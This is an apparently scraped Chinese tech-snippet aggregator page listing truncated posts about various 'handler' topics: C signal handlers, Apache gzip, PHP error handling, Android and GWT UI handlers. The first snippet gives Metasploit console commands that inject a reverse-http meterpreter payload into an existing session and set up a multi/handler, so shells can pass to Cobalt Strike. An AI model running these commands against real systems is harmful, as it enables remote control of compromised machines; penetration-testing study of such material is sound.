handler

metasploit与Cobaltstrike互相派生shell

会有一股神秘感。 提交于 2019-12-20 17:44:57
msf 派生 shell 给 Cobalt strike(前提有一个meterpreter) msf exploit(handler) > use exploit/windows/local/payload_inject   msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http   msf exploit(payload_inject) > set DisablePayloadHandler true   msf exploit(payload_inject) > set LHOST 192.168.229.143   msf exploit(payload_inject) > set LPORT 1212   msf exploit(payload_inject) > set SESSION 1   msf exploit(payload_inject) > exploit Cobalt strike 派生 shell 给 MSF(前提有个beaconshell) msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload =>

How to determine if code is running in signal-handler context?

孤街浪徒 提交于 2019-12-20 10:55:58
问题 I just found out that someone is calling - from a signal handler - a definitely not async-signal-safe function that I wrote. So, now I'm curious: how to circumvent this situation from happening again? I'd like to be able to easily determine if my code is running in signal handler context (language is C, but wouldn't the solution apply to any language?): int myfunc( void ) { if( in_signal_handler_context() ) { return(-1) } // rest of function goes here return( 0 ); } This is under Linux. Hope

apache .gz gzip content handler for Linux documentation /usr/share/doc and localhost/doc/

ぐ巨炮叔叔 提交于 2019-12-20 10:11:05
问题 How could I create a simple content handler for apache .gz gzip content. I want it to uncompress say http://localhost/doc/FAQ/Linux-FAQ.gz and send it to the browser as plain text. There is a lot of documentation for Linux in /usr/share/doc and localhost/doc/. I don't want to use zless, zcat or vim to read the content. I use apache to browse the documentation on my local machine and have my web browser revive it as standard text so that it does not ask me to download the *.gz file every time.

PHP set_error_handler()函数的使用

此生再无相见时 提交于 2019-12-20 08:55:20
我们写程序,难免会有问题(是经常会遇到问题 ),而PHP遇到错误时,就会给出出错脚本的位置、行数和原因。有很多人说,这并没有什么大不了。确实,在调试程序阶段,这确实是没啥的,而且我认为给出错误路径是必要的。 但泄露了实际路径的后果是不堪设想的,对于某些入侵者,这个信息可是非常重要,而事实上现在有很多的服务器都存在这个问题。有些网管干脆把PHP配置文件中的display_errors设置为Off来解决(貌似我们就是这样做的),但本人认为这个方法过于消极。 有些时候,我们的确需要PHP返回错误的信息以便调试。而且在出错时也可能需要给用户一个交待,甚至导航到另一页面。 那么,有啥解决办法呢? set_error_handler() PHP从4.1.0开始提供了自定义错误处理句柄的功能函数set_error_handler(),但很少数脚本编写者知道。set_error_handler这个函数可以很好地防止错误路径泄露,当然还有其它更多的作用。 可以用来屏蔽错误。 出现错误一来会把一些信息暴漏给用户,极有可能成为黑客攻击你网站的工具。 二来让用户觉得你的水平很挫。 可以记下错误的信息, 及时发现一些生产环境的出现的问题。 可以做相应的处理, 出错的时候可以显示跳转到预先定义好的出错页面,提供更好的用户体验。 可以作为调试工具, 一些时候必须在生产环境调试一些东西,

多用户登录限制

末鹿安然 提交于 2019-12-20 08:50:21
代码下载: login_limit 1、需求场景   1)分享到其它平台链接用户点击跳转相应平台登录页面,登录后重定向到分享页面   2)用户停留在某页面长时间未操作至session过期,刷新或点击其他链接重定向到登录页面,登录后要求重定向到要访问页面 2、需求分析   考虑到登录后要重定向到某个页面,所以在跳转登录页面的时候需要系统存储当前链接,以便在登录后重定向。思路已经非常清晰,由于我们使用拦截器进行用户是否登录判断,因此只需在拦截器的方法里对当前链接进行保存,然后登录重定向即可。具体代码如下:   由于之前已写过 多用户登录限制 ,因此我们只需在这篇博文的基础上稍作修改即可(具体只需修改登录拦截器即可),修改后代码如下(粗体字代码为修改代码)   注:需要注意的是异步请求需被过滤(异步请求不会跳转页面,导致登录后页面直接显示请求数据) package com.utils.interceptor; import com.entity.User; import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; import java.util.Date; import java.util

Android: Toast won't delay on spinner

谁说我不能喝 提交于 2019-12-20 06:48:52
问题 I want to delay the toast on selected delay times like (15, 30, 60 seconds and no delay) but it won't work. Here's the code: public void onItemSelected(AdapterView<?> parent, View view, int pos, long id) { if(FirstLoad){ FirstLoad = false; return; } Toast.makeText(parent.getContext(), "You chose " + parent.getItemAtPosition(pos).toString()+ " to delay", Toast.LENGTH_LONG).show(); Message message = new Message(); Bundle bun = new Bundle(); bun.putString("delay", parent.getItemAtPosition(pos)

GWT Handler to SplitLayoutPanel drag

大兔子大兔子 提交于 2019-12-20 05:23:31
问题 Is it possible in GWT to had a handler that detects that the knob pf SplitLayoutPanel is been drag or pressed? Thanks for the help. 回答1: I think, you can do it by overriding onResize() inherited method of DockLayoutPanel: SplitLayoutPanel splitLayoutPanel = new SplitLayoutPanel(){ @Override public void onResize() { super.onResize(); Window.alert("resized"); } }; 回答2: You can do this by adding intermediate ResizeLayoutPanels. MyComposite.ui.xml : <!DOCTYPE ui:UiBinder SYSTEM "http://dl.google

Javascript: generate dynamically handler

送分小仙女□ 提交于 2019-12-20 04:59:27
问题 I'm programming in Javascript. I need to dynamically generate the event handlers for the onclick event. Here above the code: for (var i = 1; i < CurrValue; i++) { getId('btnReadRFIDTag_' + i).onclick = function () { ReadRFIDTag(getId('txtCode_' + i)); }; } The problem, obviously is that at run time the i variable get the latest value and not the right value. But I can't fix the problem, because the handler does not allow parameters for the function. How can I solve this problem? Thank you.

Android ScrollView滚动距离和判断滚动停止状态

人走茶凉 提交于 2019-12-20 04:57:29
因为ScrollView没有像listView中的setOnScrollListener()监听,当然也就没有SCROLL_STATE_IDLE等。 解决的问题: 公司项目需要在一个列表中,类似listView,因为业务要求,这个列表是用拼凑的方法,拼凑出来的,所以外层包裹一层ScrollView。 现在公司要求,滑动到最后一条的时候,加载下一部分数据。如果使用scrollView.getScrollY()获得的是你手滑动的距离,当你松开手之后,界面会继续滑动,这个方法是获取不到新的Y值,所以,我们可以添加监听,时刻监视着ScrollView的变化。 需要先给ScrollView添加TouchListener ,在MotionEVENT.Up中,发送延迟的handler,这样就可以起到监听的作用。并且记录当前的高度lastY 在handler中,如果高度lastY和scrollView.getScrollY()是相等的,则表示,ScrollView已经停止,这时再根据你的要求判断停止之后的业务。这时的scrollView.getScrollY()就是控件滚动的距离。如果不相等,证明孩子啊滑动中,继续发handler继续记录lastY。 废话不多说,代码如下。希望对你有所帮助。 vBookDetail.setOnTouchListener(new OnTouchListener()

Android Studio-手把手教你做启动界面开发

瘦欲@ 提交于 2019-12-20 04:34:00
一到学期末,事情就特别多,各种项目,各种作业,各种考核… 作为一名Android小白,面临着Android期末项目化考核,做学生嘛,肯定是要有取舍的,当听到老师说期末考试是笔试的时候,我直接就不听课了,听了有啥用,反正又不需要做项目,没想到快到期末了突然又要改项目化考核,我人傻了…无奈之下,熬了几个通宵,2倍速看完了全套Android网课教程,现在分阶段、分模块、分界面整理一下。 sqllite实现登录注册功能: 登录注册功能实现 . 备忘录功能: 备忘录功能实现 . 首先,先手动创建一个项目。 第一步,新建一个项目,如图所示。 第二步,选择如图所示的Activity,然后单击下一步。 第三步,按顺序填写项目名称,包名和存储路径,注意:语言一定要选Java,选好后单击Finish 然后,就来到了主界面,此时单击如图所示的按钮。 单击这个按钮后,会有大概5秒左右的延迟,如果你看到如图所示的界面,说明你的环境是OK的,就可以进入正题了,如果没有看到如图所示的界面,那么你最好看看你的AVDManager是否存在问题,解决这些问题请自行百度。 接下来,先实现启动界面背景图片。 第一步,将左上角的Android切换成Project,找到MainActivity,在同一目录下创建一个新activity,创建方法,与之前相同,这里不再赘述。 创建完成后